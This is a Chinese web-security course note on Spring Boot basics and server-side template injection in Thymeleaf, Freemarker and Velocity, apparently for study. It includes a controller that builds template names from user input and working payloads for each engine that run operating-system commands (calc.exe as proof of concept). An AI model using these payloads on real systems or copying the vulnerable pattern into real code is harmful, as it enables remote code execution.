第49天:Web开发-JavaEE应用&SpringBoot栈&模版注入&Thymeleaf&Freemarker&Velocity

开发框架-SpringBoot

参考:https://springdoc.cn/spring-boot/

1、路由映射

@RequestMapping@GetMapping等

2、参数传递

@RequestParam

3、数据响应

@RestController@Controller

@RestController注解相当于@ResponseBody+@Controller合作用。

模版引擎

Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller

publicclassIndexController{

@RequestMapping("/index")

publicStringindex(Model model){

//替换模版html文件中的data变量值

model.addAttribute("data","你好 小迪");

//使用index模版文件

return"index";

}

@RequestMapping("/indexs")

publicStringindex(Model model,@RequestParamString lang){

//替换模版html文件中的data变量值

model.addAttribute("data","Hello xiaodi");

//使用index+变量lang模版文件

return"index-"+lang;

}

}

利用条件:Thymeleaf漏洞版本,可控模版变量

Poc:$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d::.x

Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Freemarker版本测试POC

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>importos;os.system("calc.exe")</@value>//@value为自定义标签

利用条件:可控渲染的模版文件

Velocity

参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

1、Velocity.evaluate

2、template.merge(ctx, out)

Poc:%23set(e%3D"e")e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本,可控模版变量或文件

就是上面的username值可控造成的ssti

这里另一个ssti

创建index.vm

新建配置文件

访问连接

http://127.0.0.1:8080/generate?=name=Alice&price=10.99&quantity=3

相关推荐
Gopher_HBo15 小时前
Go进阶之recover
后端
专注VB编程开发20年15 小时前
vb.net datatable新增数据时改用数组缓存
java·linux·windows
程序员布吉岛15 小时前
写了 10 年 MyBatis,一直以为“去 XML”=写注解,直到看到了这个项目
后端
却尘15 小时前
一篇小白也能看懂的 Go 字符串拼接 & Builder & cap 全家桶
后端·go
茶杯梦轩15 小时前
从零起步学习Redis || 第七章:Redis持久化方案的实现及底层原理解析(RDB快照与AOF日志)
redis·后端
QZQ5418815 小时前
重构即时IM项目13:优化消息通路(下)
后端
柠檬味拥抱15 小时前
揭秘Cookie操纵:深入解析模拟登录与维持会话技巧
后端
(>_<)15 小时前
java minio 分片上传工具类与测试demo
java·minio·分片上传
不想打工的码农15 小时前
MyBatis-Plus多数据源实战:被DBA追着改配置后,我肝出这份避坑指南(附动态切换源码)
java·后端
ZeroTaboo15 小时前
rmx:给 Windows 换一个能用的删除
前端·后端